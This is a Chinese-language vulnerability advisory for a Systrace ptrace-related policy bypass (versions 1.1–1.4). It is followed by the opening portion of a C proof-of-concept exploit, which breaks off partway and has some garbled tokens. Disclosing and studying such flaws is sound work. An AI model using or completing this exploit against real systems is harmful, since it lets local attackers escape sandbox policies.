|
Systrace本地策略绕过漏洞(1) 受影响系统: Niels Provos Systrace 1.4 Niels Provos Systrace 1.3 Niels Provos Systrace 1.2 Niels Provos Systrace 1.1 不受影响系统: Niels Provos Systrace 1.5 描述: -------------------------------------------------------------------------------- BUGTRAQ ID: 9998
Systrace可通过强制系统调用的访问策略监视并且控制应用程序访问系统。
Systrace存在安全问题,本地攻击者可以利用这个漏洞使应用程序绕过systrace策略。
问题原因是Systrace在当进程被ptrace跟踪时没有进行充分的完整性检查,可使的攻击者应用程序绕过安全策略,进行恶意攻击。
<*来源:Brad (spender@grsecurity.net)
链接:http://marc.theaimsgroup.com/?l=bugtraq&m=108057556815088&w=2 *>
测试方法: --------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
Brad (spender@grsecurity.net)提供了如下测试方法:
#include <stdio.h> #include <errno.h> #include <sys/ptrace.h> #include <sys/select.h> #include <sys/time.h> #include <sys/types.h> #include <unistd.h>
int main(int argc, char *argv[]) { int pid; int input[2]; int output[2]; int error[2]; int ret; fd_set readfds;
if (argc < 2) { printf("usage: ./systrace_eXP <target> <arg1> <arg2> ... <argn>\n"); exit(0); }
ret = pipe(input); if (ret) { printf("Unable to create pipe\n"); exit(1); } ret = pipe(output); if (ret) { printf("Unable to create pipe\n"); exit(1); } ret = pipe(error); if (ret) { printf("Unable to create pipe\n"); exit(1); }
pid = fork();
if (pid > 0) { char somechar; int highest; strUCt timeval time;
time.tv_sec = 0; time.tv_usec = 1000;
close(input[0]); close(output[1]); close(error[1]);
FD_ZERO(&readfds);
|